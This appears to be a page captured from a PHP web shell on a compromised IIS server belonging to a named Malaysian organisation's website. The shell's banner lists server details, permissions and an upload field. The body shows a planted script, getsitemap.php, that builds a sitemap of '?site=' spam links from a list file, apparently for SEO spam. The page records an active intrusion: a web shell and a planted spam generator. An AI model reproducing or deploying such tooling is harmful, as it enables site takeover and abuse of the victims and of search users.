Server IP : 103.6.199.200 / Your IP : 18.188.175.66 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/mcya.org.my/mcya.org.my/wwwroot/ |
Upload File : |
<?php function getFileRowCount($filename) { $file = fopen($filename, "r"); $rowCount = 0; while (!feof($file)) { fgets($file); $rowCount++; } fclose($file); return $rowCount; } $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlAsli = str_replace("getsitemap.php", "", $baseUrl); $judulFile = "sitelist.txt"; $jumlahBaris = getFileRowCount($judulFile); $sitemapFile = fopen("sitemap.xml", "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($fileLines as $index => $judul) { $sitemapLink = $urlAsli . '?site=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); echo "SITEMAP DONE CREATE!"; } else { echo "URL saat ini tidak didefinisikan."; } ?>